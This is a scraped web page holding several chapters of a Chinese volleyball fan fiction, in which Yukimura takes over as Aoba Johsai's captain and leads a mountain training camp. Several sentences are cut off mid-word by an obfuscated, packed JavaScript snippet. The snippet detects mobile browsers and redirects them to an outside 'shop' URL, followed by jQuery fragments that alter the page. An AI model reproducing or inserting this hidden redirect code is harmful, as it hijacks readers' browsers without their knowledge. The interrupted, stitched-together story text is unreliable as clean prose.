“只能说，在比赛场上还能玩儿这么多心计的及川和幸村，真的太变——态了。” “比赛到这一阶段，接下来对选手的心态和体力是一种考验。” 由于人数少，选手救球的次数变多，而两边经常陷入拉锯战，谁也不能一球定胜负，这也导致了明明双方才各拿了七分，时间却长的可怕。 2V2比赛，先满15分，且高于对手两分的队伍获胜。如果没有满足高于对手两分，比赛将会无限打下去。 “就看双方，谁先出现失误了。” 话是这么说，但是以双方的实力来看，不管是国见双眼的疲劳，还是被幸村牵扯来回跑动的体力消耗，都是第一个败下阵来的人。 幸村先不说，高三的及川和岩泉，他们的体力和耐力不是刚上高中的国见可以比拟的。 从幸村回敬及川并且得分的那一刻开始，及川队就注定了败局。 * 嘀—— “全体列队集合。” 熟悉的哨子声响起，中气十足的声音通过小喇叭传遍场馆的每一个角落。 收到指令的排球队成员井然有序地集中靠拢，在自己的位置上站好，这一次，岩泉、花卷等人也进入队伍之中。 入畑教练站在最前方，左手边依次是及川和幸村。 “今天集合的目的只有一件事情，那就是由于综合考虑，接下来的时间排球队队长一职将由三年级及川彻变更为一年级幸村精市，之后的比赛核心，也会围绕双二传来排兵布阵，具体训练事项由新队长交接之后自行安排。” “至此，完毕。” “这也太突然了吧。” “就算实力强，难道就适合当队长吗？” “小声点儿，及川前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“疯了吧，他怎么敢的？” “但是，他真的好敢，我都有些热血沸腾了。” “……” 及川一把抱住幸村高呼：“太棒了，以后大家以幸村队长马首是瞻，我们的口号是——一切为了冠军。” 众人：“一切为了冠军，并且蝉联！” “喂喂喂，你们别乱加戏啊。” “哈哈哈哈……” 有了正式队员的支持，幸村算是顺利登基，不是，顺利当上队长，至于能不能拿到冠军，大家只能期待接下来的故事了。 * 接下来的时间，幸村在青叶城西这边有条不紊地接替队长的工作，而在另一边，白鸟泽排球部却是掀起了一个小小的风浪。 刚被选上首发的一年级新生五色工，自从帮自家主将打听过一个一年级新生后，就非常留意这个新生的事情，就算发现对方在青叶城西后，也没有减少过关注。 而就在不久前，他居然听到在青叶城西的“眼线”传来了地震般的消息。 五色站在场外，一手拿着水，一手拿毛巾，在牛岛下场的时候将毛巾递过去，然后偷瞄着自家主将，一副欲言又止的模样。 牛岛擦完汗，暂时将毛巾放在椅子上，看到自家后辈的样子后主动询问：“五色君，你是有什么话要对我说吗？” “队、队长，那个，你知道青叶城西换队长了吗？”五色弱弱发问，即使相处了一段时间，他依然承受不起自家队长的威严啊。 “及川居然被换掉了？青叶城西是在自找死路吗？”牛岛听后毫不留情地评价。 “唉，怎么这样啊，我还想着能不能在比赛场上遇到阿市弟弟呢。”天童一脸不高兴，天知道至从他知道牛岛弟弟要来白鸟泽之后有多期待，只是没想到幸村会误入青叶城西。 现在想和弟弟打场比赛的愿望都要被剥夺了吗？ “阿市是我弟弟。”牛岛听后一字一顿给天童纠错，反正谁都不可以和他抢弟弟就是了。 “有什么关系，都一样啦。”天童丝毫没有冒犯到好友的自觉，眼珠一转，提议道，“青叶城西完了，现在是不是叫弟弟来白鸟泽的最佳时机？” 说到这个问题，牛岛想了一会儿，说：“及川好像也不是不可以……” 论将及川和幸村拐到白鸟泽的可行性。 见两位前辈自顾自聊嗨了，五色只好默默举爪，打断两人说：“牛岛队长，天童前辈，青叶城西的新队长，是一年级的新人——幸村精市。” 牛岛and天童：“什么？！” 牛岛内心：阿市到底在做什么？队长这么大的压力，他身体吃得消吗？ 一年级部长传统不能断是吧？可是他现在也不在立海大啊…… 16.后续与集训 016 计划与集训 幸村当上青叶城西排球部队长的事情除了白鸟泽之外，并没有向外扩散。 虽然青叶城西在宫城县还有点名气，但也仅此而已了。 而他上任的第一件事情，就是一个个纠错。 就像及川他们发现的那样，幸村非常善于洞察别人的弱点，并且提出有针对性的基础练习。 面对这样尽职尽责的队长，原本部内不和谐的声音渐渐平息，取而代之的是另一种声音。 “最后一组传球练习结束后，我还有一组绕场蛙跳练习。” “那我们加快速度吧，我也差十组五米折返跑。” “……” 及川做完训练后，看着众人还在如火如荼地训练，毫不犹豫夸赞道：“最近大家基础训练都很自觉嘛。” 岩泉听后朝正在场上纠正队员细微动作的幸村，说：“大概是我们小队长太认真了，大家都不想让他失望吧。” 有一种人就是拥有一种人格魅力，他可以将你认为的不重要的小事记得清清楚楚，所以，当有成员没有完成自己单独的附加训练时，面对幸村温和的双眼，会不自觉生出一种负罪感。 他会想：‘是不是自己没有完成训练所以让队长失望了？’ 人们总是希望美好的事物能够长久，人也不例外。 如果幸村那张精致帅气的脸上对你露出‘失望’或‘失落’的声色，想必没有人不会不进行自我反省吧…… “哎哟，真可惜。”及川听后一摊手，有些遗憾，“我还想着指点指点小幸村呢。”没想到他会这么快上手。 岩泉假装没听见，毕竟及川当队长的时候，岩泉的活儿也没轻松过。 另一边，幸村在训练场转了一圈后，见大家都在专心练习，幸村悄悄离开了场馆。 及川眼尖得看到他离去的背影，眸色一暗。 ‘那个方向……’ 心中灵光乍现，及川来不及和幼驯染多说，直接一句话结束了闲聊，“小幸村居然要逃训，本大人要好好学习一下。” 说罢，岩泉只感觉到一阵风声从自己身边擦过，定睛一看，原本还在身边的人已经离自己五六米了。 岩泉失笑摇头，只能随及川去了。 * 幸村离开排球馆自然不是为了逃训，作为队长，他不仅仅需要了解队伍每个成员的情况，更重要的是，他必须了解迄今为止，所有日本排球赛事的情况。 早年的比赛就算了，至少近十年的要大概了解一下，让他不至于对青叶城西以后的对手一问三不知。 最近这一周的时间，除了基本训练外，他所有的空余时间基本都用在资料收集和看比赛录像上了。 当然，要想收集这么全面的资料，自然离不开入畑教练的帮助。此刻他就是去归还一些纸质版的资料，外加给教练为他这个“队长”设置的第一个考验。 幸村抱着厚厚的报纸走在去往教练办公室的路上，身后跟随的细微脚步声让他不由顿住了脚步，“您是有什么事吗？及川前辈？” “哇哦~小幸村对我很关注嘛，居然不回头就知道是本大人。” 熟悉的及川式调侃响起，及川快步上前来到和幸村齐平的位置，假装瞥一眼对方手中的资料，看到报纸上赫然就是关于排球的四月月刊，并且还是四大强校得介绍和对今年各大赛程的预测。 幸村听后，并没有作答，而是继续前行，他知道自家前辈会将主题在下一句拉回来。 及川一边跟着走一边说：“小幸村已经看完所有资料了吗？有没有什么疑惑可以和本大人提噢，作为前辈一定知无不言的啦。” 幸村略微思索了一会儿，问：“今年三月的樱排，青叶城西有参加吗？” 樱排，全称全国私立高等学校男女排球锦标赛，也称樱花大会，为了好记，大家简称樱排，看全称就知道，这是一个只有私立高校才能参与的排球比赛。 “嗯？”及川设想过幸村会问很多方面上的问题，唯独没有这一个，不过很快他就反应过来，虽然疑惑，但还是认真作答，“有，像这种有指向性的赛事，基本私立全校都会参加，不过因为每个学校的比赛侧重不同，并不会主力全出。” “指向性”自然就是“私立学校”，私立学校本身就是门阀财团出资建立，世界门阀就是一个巨大的草台班子，谁还不认识谁呢？ 因此，私立高校的比赛基本很少有学校拒绝参与。 “就像我们青城，今年三月的樱排，就只有小岩带着小狂犬和一些二队的成员去参加。”当然，结果也不是很理想就是了。 幸村听后点了点头，表示自己知道了。 见幸村没有什么反应，反而将及川自己的好奇心勾了起来，问：“小幸村怎么会问这个？” 见自家前辈问到了关键的点子上，幸村停下前进的脚步，微微侧身，看向及川，神色严肃中带着一丝不易察觉的凝重，“关东四大强校，音驹、户美、枭谷、井闼山，其中只有音驹是公立。” ‘所以呢？’ 及川询问的视线直白中透着迷惑。 幸村深吸一口气，叹道：“前辈觉得，青叶城西除了实力这种硬性要求欠缺之外，还需要最主要的条件是什么？” ‘除了实力之外，他们还缺什么？’这个问题其实很矛盾，如果清晰城西拥有了实力，自然什么都不缺，可没有实力，不就是什么都缺吗？ 可是结合他们谈话的上下文，及川似乎有些明白了幸村的想法。 “不会是人脉吧？”及川有些不确定，想到幸村专门提到的“关东四强”，及川有些不确定道，难道青叶城西不够强是因为和这些学校不熟？ 幸村听后忍不住一笑，被气的。 也许是前辈们身在居中，因此看不清青叶城西的现状，不过—— “对了一半。”幸村道。 在幸村观看过多年的春高比赛之后，注意到了一个问题，那就是基本上全国四强都是在前八强的高校中轮流打转。冠军更是四强的排列组合，也就是说，很少能够有一所学校成为黑马，杀进决赛。 “强者愈强，弱者恒弱”是如今排球界的真实写照。 想要一支没有在全国大赛路过面的学校杀入决赛并取得冠军，可以说幸村是给自己定下了一个几乎不能完成的目标。 如今时间五月初，IH预选赛六月中下旬开始，而春高地区预选赛就在今年的十一月。 也就是说，青叶城西要在短短的不足六个月的时间里，拥有全国级别的水准，几乎是不可能做到的事情。 这也是幸村上位以来，除了照常训练外，没有大刀阔斧地改革的原因——他在寻找突破白鸟泽封锁，打败四强的办法。 “及川前辈，强者都是在尸山血海中拼杀出来的。”最后，幸村如此说道。 及川不傻，幸村已经说得如此直白，他自然懂了幸村的想法。 可是这太难了，仅凭他一个人，怎么可能做到呢？ 及川承认他让出队长之位，其实有一部分原因是责任的转移，作为青叶城西前任队长，没有人比他更清楚这支队伍很难具备打入全国的实力。 可是偏偏有一个人想要尝试…… “你打算怎么做？”沉默良久，及川开口，声音低沉中带着些轻微的颤抖，可以预想到他此时并没有表现出来的那么平静。 幸村目光看着关东所在的方向，神色肃穆，那里是全国各大强校最终汇集的地方，也是承载着一届又一届排球选手梦想的方向。 “不惜一切代价，给这些强校‘找点儿事’做！” 幸村的声音明明很轻，却像是利箭穿空，直击及川的心灵。 这是一个及川从来没有想过的方向。 及川沉声道：“你想要拿别人来磨自己的刀，这可不是什么很容易办到的事啊！” 经过刚才的对话，幸村的想法很明显，就是想要和全国级别的强队打比赛，让青叶城西的选手在溃败之下慢慢磨炼意志。 没有人喜欢一直输，所有几乎可以肯定队伍的实力会提升一大截，可一旦操作过猛，也很有可能击溃选手的意志。 可以说这是一把双刃剑，能够战胜自己的，终会破茧成蝶。 幸村莞尔一笑，说道：“没关系，只要能够迈出第一步，接下来的事情自然会水到渠成。” 俗话说“万事开头难”，他为青叶城西安排的是一场豪赌之路，成功了，队伍将势如破竹，所向披靡，失败了，跌落泥潭，意志溃散。 一句话说完，不到一秒的时间，幸村身上的气势突变，只听他语气铿锵，缓缓说道：“即使前路充满荆棘，我自然会带领大家攀上那座最高的山峰，领略一番高处的风采。只要，我的身后还有大家。” 及川只感觉到眼前片刻恍惚便已经随着自家后辈话中的意思登上高处，似有山风迎面徐来，抬眼望去，金光乍现，浮光万千。 前者是幸村的决心，后者则强调了队友的重要性。 只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568619|182484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说幸村在带领队伍方面太会拿捏人心。 “走吧，及川前辈，我们一起完成计划的第一步吧。” 幸村笑着和自家前辈发出邀请，而及川本来就打算为队伍把关，在这样的情况下，两人一起朝教练办公室而去。 接下来的时间，就是他们为了让教练同意不怎么完美的计划交谈了两三个小时。 当两人走出办公室的时候，入畑教练只是对他们说了一句。 “放心大胆地走下去吧！” 幸村and及川异口同声：“是，入畑教练！” 入畑教练从打开的门缝之中，望着两人被夕阳照射而拉长的影子，一时不知赞同幸村的决定是对是错。 只是看着前后两位队友在述说“强训计划”之时，四只眼睛中露出出来的星光与背水一战的勇气，让他怎么忍心浇灭学生心中那团“革命”的烈火？ 空荡的办公室中，入畑教练发出一声轻叹，道：“唉，还孩子们待久了，感觉自己也变年轻了啊。” 年轻，有个成语是“年轻气盛”，一部分意味着冲动与活力，也侧面说明了，青叶城西夺冠之路的艰难。 * 幸村的计划之中，得到教练同意之后，首要的就是进一步加强队伍的整体实力，因此，在五月初的时候，青叶城西正式队员加候补共计十八人参加了为期一周的箱根集训。 茂密的森林之中，前后都只有一辆大巴车在弯曲的道路上行驶，车辆缓缓开入小道，越来越深入，不知道过了多久，车辆缓缓停了下来。 “同学们都别睡了，该下车了，接下来的路就要依靠你们自己前进了。” 司机师傅洪亮的声音将因为坐车时间太长而沉睡的众人惊醒。 坐在车门口的及川在车门刚停稳打开的一刻，第一个跳了下去。 只见他双眼微眯，同时舒展双臂，伸了个懒腰，呼吸呼吸新鲜空气，欣喜地赞叹道：“哇啊～这里的空气好清新呀，感觉整个人都放松不少。” “空气是很不错。” 第二个下车的是坐在他旁边的三年级生松川一静，出来点头附和了及川的话后，环顾四周，发现除了树还是树。 在接着，就是幸村提着两个黑色背包下车，“现在温度23.6摄氏度，空气湿度49％，正是适合集训的好地方。” 岩泉一出来，看到一身轻松的幼驯染，再看看背一个还提着一个行李的幸村，直言道：“垃圾川，自己的行李自己带好，不要麻烦我们的后辈。” 说着自然地从幸村手中将及川的行李接过，然后自己提在手中。 及川见后道：“小岩对我真是太好了，既然这样，就让本大人为你们开路吧！” 说完，及川脚下一点，整个人就如一直野兔，朝着只能容纳一人宽的小道冲了出去。 “嘁～” 刚下车的二年级生，京谷贤太郎看到这一幕发出声来，对于集训他整个人都充斥着不满。 身旁同为二年级的矢巾秀听到后连忙拉了拉队友衣角，对于京谷狂躁的个性实在无能为力。 矢巾秀对京谷一个因为不可描述原因而禁赛的人为什么会在这里而冲满好奇，而且京谷居然会乖乖参加集训，就更让他惊讶了。 只是他敢问，京谷也不想回答。 京谷冷着脸不语，整个人散发着“冷暴力”的氛围，让人不敢轻易靠近。 他朝前方幸村所在的位置瞥了一眼，然后又快速收回视线，目不斜视，一副漠不关心的状态。 身后众人陆续下车，在最后一人下来之后，司机师傅一踩油门，直接将大巴车往下山的方向开走了。 “这路也太难走了，为了集训我刚买的新运动鞋都弄脏了。” 金田一歪歪扭扭地小心避开水坑，同时不忘和国见英抱怨着，“也不知道还有多远才到集训的宿舍？” 原本要参加集训的兴奋此时都变成了烦躁。 “应该就快到了。” 国见听后说了句毫无意义的话。 可是很不巧的是，他们来之前正好下过雨，深入大山的道路凹凸不平，走起来很是费劲。 雨后难走的山路，让众人的心绪都变得有些浮躁，不过好在，大学走了半小时后，他们终于走出来树林，来到一小片空地中。 而尽在眼前的，就是一栋破旧的双层小楼。 看着有个房间直接就破了个窗户，集体哗然。 此时他们脸上的神态出奇的一致：这怕不是栋危楼吧！ 17.集训开始中 017 集训开始中 “这破屋能住人吗？”此时国见问出所有人的心声。 没想到高中第一次合宿集训是在这样的环境下。 及川想到好友说的屋子有些旧，在看看眼前，实在没想到会这么破。 但是现在已经到这个地步了，他们也只能住下来了。 想到这里，在众人“发难”之前，及川连忙开口安抚，说：“因为小楼已经很多人没有住人了，所以看着有些破旧，大家只好将就一下了。” “条件虽然艰苦，但是在大山深处能够有个落脚休息的地方已经很不错了，大家不要太在意哈。”及川之后，岩泉立马跟上。 有了原本两个三年级的话事人开口，其他人自然不愿再多说什么。 等众人交谈完毕，幸村大手一挥，说：“现在离天黑还有点时间，大家先把房间打扫出来吧。” “对了，我邀请了女排那边的经理叫了五人过来帮忙做饭，因为我们人数太多了，会做饭的前辈们可以先去一楼的厨房帮忙一下哦～” 听到幸村这么说，众人突然一扫刚才颓态，高二、三年级的人在一年级众人还没有反应过来的时候，变一窝蜂地朝小楼跑去。 “啊啊啊，佳子学姐，我来帮你了！！！” “靠，你怎么就知道一定会有佳子学姐？” “我不管，我要为学姐痴，为学姐狂，为学姐哐哐撞大墙，一定会是佳子学姐！” “我们什么时候才能有美女经理啊，乌野那个经理我都要馋哭了！” “……” “喂，你们会做饭吗？就往厨房跑？” 二楼属取舍区，是隔了四个的大通铺，众人放下行李，开始里里外外进行清扫。 至于一楼，已经被提前来到这里存放物资的临时经理五人组打扫过了。 “啊啊啊，快让开！快让开！” 咻—— 国见正在迅速抹地板的国见只感觉一道残影从自己身旁擦过。 然后就是“砰”地一声，及川撞上摆在走廊中间的水盆，污水撒了一地。 “及、川、彻！” 轰—— 岩泉一声怒吼发出，如此高的分贝直接将屋顶的灰层震落。 走廊中间原本就岌岌可危的一扇玻璃窗，应声碎裂！ “好了，这下才忙活了！”京谷心累。 他不是来集训的吗？为什在做清洁工？ 时间在众人的忙碌中过去，小楼上上下下已经点上了蜡烛。 别问为什么没有电灯，问就是年久失修，加上前些日子下暴雨，老旧的电路已经不堪重负，坏掉了。 此时，众人围坐在一楼餐厅的桌前，闻着桌上各式各样的食物散发着诱人的香气。 “大家下午辛苦了，我是高三年级藤原佳子，身旁几位都是我们女排后援队的成员，依次是加藤惠、悠花穗子、星野玲和刚加入的一年级生结奈千夏，请大家多多关照！” 其余四人齐声：“请大家多多关照！” 男生众人：“请多多关照！” 双方各进行了见面礼仪后就到了愉快的用餐环节了。 “啊，这个咖喱是佳子学姐做的吗？也太美味了。” “是我们小千夏做的哦～千夏做咖喱饭很有一手的。” “这海鲜寿司也很好吃。” “唔唔唔～” 由于放菜太过好吃，其他人已经没有说话的时间了…… * 哐哐哐～ 次日，天还未亮，震耳欲聋的锣鼓声将众人从睡梦中叫醒。 “排球部各位成员，起床啦！” 夹子中气十足的声音通过扩音器传便小楼的整个角落。 “十分钟后，屋外集合，没有准时到达的人训练结束后基础训练多加一组！” 松川抓起手表一看，直接大喊出声：“佳子，现在不过才凌晨四点哎！” 走廊上，佳子不为所动：“松川，作为三年级的前辈就更应该做好表率！队长已经在楼下等你们了。” “金田一，快起床了，我可不想加训。”国见在听到加训的时候就立马清醒了过来。 集训对他来说已经很痛苦，如果再加训的话，他肯定会死掉的！ 金田一听到自己的名字，迷迷糊糊回答：“小英，一分钟，就让我再躺一分钟！” “一日之计在于晨，大家快点动起来哦～”相比起佳子的说一不二，星野玲就温和了许多。 而此时的一楼厨房中，幸村双手快速将各种各样的汁水调配成一个难以用颜色形容的怪异液体。 看着随着杯子晃动而产生的气泡，幸村满意的点点头，道：“不错，就是感觉还缺点什么？” 说着，视线在摆满了各种食材的冰箱中一扫，看到角落中露出的一抹黄色，幸村双眼一亮，“就是它了，加上我爱吃的柠檬片肯定会更好喝呢！” 时间一点点流逝，幸村独自站在楼下，等候着成员们的到来。 当他看到及川第一个到达的时候眸光微微一闪。 ‘看来他家前辈还有些傲娇呢！’ 对及川而言，虽然将队长之位交给了幸村，可作为还在青叶城西继续打比赛的前队长来说，自然不能够在队员面前太放松了。 既然是为了变强而交出去的位置，他必须积极响应小队长的安排，这样才能让整个团队团结一致，上下一心。 将所有的力气都往一处使，青叶城西才有一丝夺冠的可能。 及川来到幸村面前，感受到他身上的凉意，问：“等很久了吗？” 幸村微微颔首，笑言：“还好，我也是刚来不久。” 及川听后没什么表示，只是在看到幸村身上穿的短袖后，说：“下次出门将外套穿上，大山里早晚的气温还是低了点。” 幸村有些意外，及川前辈居然还会在意这些小事？ “别用那种眼神看着我，我还不是为了摆脱小牛若不停的唠叨。” 想到集训集合的前一天晚上，牛岛在他电话里讲了大半小时的注意事项后，及川就有些不忿：“还不是你哥他太能说了。” 平时一声不吭的人。在弟弟的事情上面直接像是变了一个人，及川觉得和尚念经还没有他烦呢！ 幸村的眼睛像是能够将人看透，笑眯眯说：“不管怎么说，还是多想前辈关心了，刚才做了组‘热身运动’，所以现在并不觉得冷。” 及川：“你刚还说你才到不久？” 没有礼貌的后辈，居然欺骗前辈，哼！ 幸村丝毫不慌，悠悠解释道：“因为是做完了热身才过来啊。” “……” 及川表示他就不该和幸村谈论这个话题。 两人交谈间，已经有人陆陆续续从二楼下来，看到两人队长都站在屋外等候后，立马默默跑到空地上站好。 原本吵闹的声音随着下来的人越来越多，逐渐平息。 很快，最后几人踩着规定时间线入队。 幸村视线有众人之间穿梭，看到人员到齐之后，这才上前一步，发布今天的第一个任务。 “今天训练的第一项，就是从这里沿着公路跑到山脚下返回，然后在距离小楼一千米的地方，进行蛙跳前进，起跳线已经做好了标识，大家注意看准路线。” “现在，进行热身，热身完后就可以开始跑步下山了，时间超过七点，餐厅特配版蔬菜柠檬汁等着你们哦。” 说完，幸村露出狡黠一笑。 及川听到幸村的话后，第一个做出响应，“小幸村还会调配果汁？那本大人高低要尝尝味道啊！” “期待前辈给出反馈呢，让我有改良的空间。”幸村笑着应允，反正他调的不算少。 “惩罚就这？一个果汁算什么惩罚？这怕不是奖励吧。” “没错，小队长什么事都是不按常理出牌啊！” “……” 在众人热身的时候，幸村已经第一个迈出了步伐，及川见后立马跟上，其他人也不甘示弱，纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570638|182484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷朝山下而去。 下山容易，上山难，返程的路上因为已经消耗了一波体力，所以上山开始出现进度不一的情况。 尤其是到了蛙跳前进的起步线后。 京谷一边喘息，一边完成蛙跳，即使再累，也没有放弃动作的标准及格线。 “呼～呼～想出蛙跳上山的人，真是个人才！” “我知道你并不是真心想夸队长的。” 矢巾咬牙坚持前进，要跟上“小狂犬”的脚步他已经很费力了。 “哈，谁知道呢？”京谷模棱两可地回答。 “这也太折磨人了，老天安排队长出来就是为了磋磨我的吧。” “别废话了，赶快跳，再说下去我们就是倒数了。” “几点了啊？我没带表！” “六点五十三分二十二秒，只有不到六分钟时间了。” “前面的别挡路，我要冲刺了，啊啊啊啊！” 眼看时间越来越近，最前面幸村和及川已经到达了终点，京谷一咬牙，发出一声怒吼，直接开始狂暴状态。 然后，众人只见眼前尘土飞扬。 “靠，京谷你把土都喂我眼睛里了！” 已经跑远的京谷不做回应，表示自己没听到。 由于有人惹了众怒，不服气的少年们想要找回面子，于是奋起直追，一时之间，整个小道尘土飞扬，弄得落后的人吃尽了苦头…… 及川看着这么热闹的一幕，感叹自己跑太快了，这么拉风的场景应该他来领跑才对嘛。 “小狂犬好棒啊！以一己之力带动整个对队伍冲刺耶。” 幸村则是看到了落后的几人，心中暗道：‘果然一年级新人的体力还是二、三年级有些差距吧。’ 看着赛况已经差不多成了定局，幸村转身去到厨房，将自己精心调配的蔬菜柠檬汁端了出来。 透明的玻璃水杯，一杯是两百毫升的容量。 因为是临时起意，所以幸村调的并不多，只有三杯。 要知道，昨晚一夜，幸村的睡梦中都有蔬菜汁的影子。 起来后，他就是觉得，集训的日子里不能少了蔬菜汁的惩罚，否则会缺少很多乐趣。 现在，才是好戏开场的时候。 金田一看着自己面前颜色诡异，还向上冒着气泡的蔬菜汁，中间浸泡的柠檬片，此时漂浮着白色泡泡，他不觉紧张得吞咽了一下口水。 幸村将托盘往前一送，眉眼含笑，说：“喝吧，加了柠檬片后，蔬菜汁的味道应该很不错哟。” ‘算了，不就是颜色诡异了点吗？嘴巴一张一合，就过去了。’ 金田一眼看自己是躲不过去了，心里给自己默默打气。 做好心理建设，金田一狠下心，一把将自己的那杯拿气，然后双眼一闭，用非常大气的姿态迎接自己的惩罚。 众人屏住呼吸，不敢眨眼，生怕错过第一只“实验小白鼠”的最真实反应。 幸村表面淡定。目光却一刻都没有从金田一脸上挪开，他也很想知道自己调配的蔬菜汁是不是和梦里的一样有“威慑力”呢！ 金田一一杯下肚，犹豫太过快速，其实并没有尝到什么味。但是味觉躲过了，身体的反应可不会骗人。 一股难以言喻的味道冲上咽喉，手中的杯子由于没有力气“嘭”一声，直接掉落外地。 “呕……” ‘世界上怎么会有这么难吃的味道？’ 金田一简直怀疑人生，然后众人就看着金田一想要朝洗手槽走去，可是没走两步，便直接摔倒在地。 就算失去了意识，身体还在一颤一颤地抖动，真实地记录了幸村牌儿蔬菜汁的威力。 “居然会有人不喜欢吃柠檬片。” 幸村幽幽的声音在安静的环境下清晰的传入众人耳中。 众人：‘你那遗憾的语气是怎么回事啊？’ ‘再说了，这是柠檬片的事情吗？明显是蔬菜汁的问题啊喂！’ 只是众人都不敢应声反驳罢了。 18.进化依始 018 进化依始 幸村调配的蔬菜柠檬汁虽然只有三个“幸运儿”品尝到，但是他喜欢吃柠檬片的事情，经过这个早上是众所周知了。 浩浩荡荡的一群人洗漱吃完饭后，再次在屋外集合，只见空旷的场地中央放着一个木头箱子。 幸村和及川分别站在木框子两边。 看到众人陆续从屋内出来，幸村高声道：“我知道你们之中有些人会给手腕和脚腕增加铁块负重练习，但是不科学的负重不会让你快速成长，反而会造成身体的负担。” “以下是我根据这段时间观察和了解各位身体数据之后，特别为大家计算好了负重的克数，接下来念到名字的成员就过来领取。” “第一位是，岩泉前辈，根据我的观察，你手腕上的护腕铅块负重超重8.25克，前辈要小心过犹不及哦，一下子不要加太多了。” “下一位，花卷前辈，前辈身为自由人，对于身体的敏捷有非常高的依耐性，按照前辈现在的身体状况，双脚各自再加一块铅块不成问题哦。” “第三位……” 每点一人的名字，幸村都会根据他们自身的情况做出一定调整，这也是为什么青叶城西队长交接如此顺利的原因之一。 花卷装好脚腕上的负重之后，试着在原地跳了跳，然后发表自己的看法：“突然感觉双脚变得好重啊。” “我倒是感觉手腕变轻了。”岩泉看着自己的手掌，五指握紧又松开，握紧再松开，如此反复五次之后，如此说道，“不过才几克的重量，居然会有这么大的变化。”不过，现在的负重倒是让他不那么吃力了。 原本还偶尔酸痛的手腕得到了巨大的缓解。 “啊啊，为什么我的重量比你少那么多？” “废话，我是主攻手嘛，对力道的要求比自由人大多了嘛。” “……” 当所有人都换好幸村特意准备好的负重护腕后，他这才开始安排今日接下来的训练。 “由于早上的有氧运动已经很充足了，所以接下来上午的时间是大家每日的基础训练，既然是集训，时间充足，所以基础训练的数量翻倍。” “下午是我为大家安排的特别避障训练，大家吃完午饭后按照指示过去集合就行，具体规则将在之后公布。” “以上，开始训练。” 幸村一声令下，立马就有人开始了行动，原地起蹲、躯体纵跳等…… 由于每个人的基础菜单不尽相同，因此上午的基础训练都是自由训练时间，不过一些通用的项目基本上都是统一做完。 一上来，花卷就为自己定了个超高的目标：“这次我一定是最先完成基础训练的人！” 松川听后也不甘落后于人，直接出言反驳：“第一个完成的应该是我才对吧。” “小卷、小静，你们两个再吵下去，本大人都要做完这一组了。”及川见两个队友幼稚的发言，直接出声打断。 花卷/松川：“切，我很快就要超过你的。” “87、88、89……” 数数声在静谧的森林中响起，在小小的空间中久久回荡。 “小英，这次我一定比你快。”金田一一边计数一边抱头起蹲。 国见英听后面无表情地说：“别和我比了，前面幸村队长已经做到下一组了。而且，我已经做到153个了。” “啊啊啊，你怎么不等等我啊！” 听到好友的数量，金田一发出一声大叫，然后更加快速地开始起蹲。 情绪的会感染的，当所有人都在争那个“第一”的时候，整个群体都会不自觉开始争起来。 岩泉看到热情高涨的众人表示很欣慰：“大家都很有干劲嘛。” 虽然以前的大家也很努力，但是集训中的他们，特别不一样。 拉进人与人之间关系的方法，就是一起创造美好的回忆。集训，除了提升个人的实力外，也会让大家对彼此变得熟悉起来，尤其是一年级新生和前辈的关系。 这也算是一种破冰行动吧。 * 基础训练最快完成的，是一位大家意料之外又情理之中的人——他们的小队长幸村精市。 所有训练，都在四十分钟之内完成。 看着幸村施施然离去的背影，众人训练得更加来劲儿了。 输给一个一年级，也太丢人了！ 他们不知道的是，幸村的身体素质在他自己都不记得的以前，就已经被开发到了一种极致，至少，如今还没有恢复记忆的他，现在还没有清晰的进阶方向。 他如今做的，除了基础训练之外，就是练习球感。 熟悉排球在自己眼中的视觉，熟悉排球在自己手中的手感，熟悉击球的声音、扣球的摩擦等等等等。 而下午的避障训练，是幸村参考华夏练习功夫时候的木桩，外加结合实际做出的一些调成。 这表面上自然是为了提升队员的反应能力，但是最关键的，则是为了训练大家与自己的配合能力。 如今的青叶城西球队首发，如果幸村在场的话，总是会有一种格格不入的感觉。 因为他的速度和反应太快了，很多球他可以接到的，但是因为队形的限制，导致队友跟不上他的速度变换阵型的话，容易造成违规，或者出现死角，给对面进攻得分的机会。 所以，为了解放自己，幸村不得不在提升队伍整体实力上多下功夫。 就在幸村熟悉着手中排球的时候，藤原佳子拿着一封信件朝他走了过来。 “队长，这是给你的信件，发出地是兵库县呢。” 虽然幸村的年级不高，但是身为队长，前辈们还是很尊重他，因此有些人会表示尊重而叫“队长”。 听到藤原佳子的话，幸村停下了手中的动作，将排球夹在左手腋下，伸出右手将信件接了过来，同时道谢：“多谢藤原学姐了。” “小队长不用客气哟~” 对于幸村这个小队长，藤原是很佩服的，敢常人之不敢，还拥有与之匹配的能力，实在是一位值得敬佩的选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 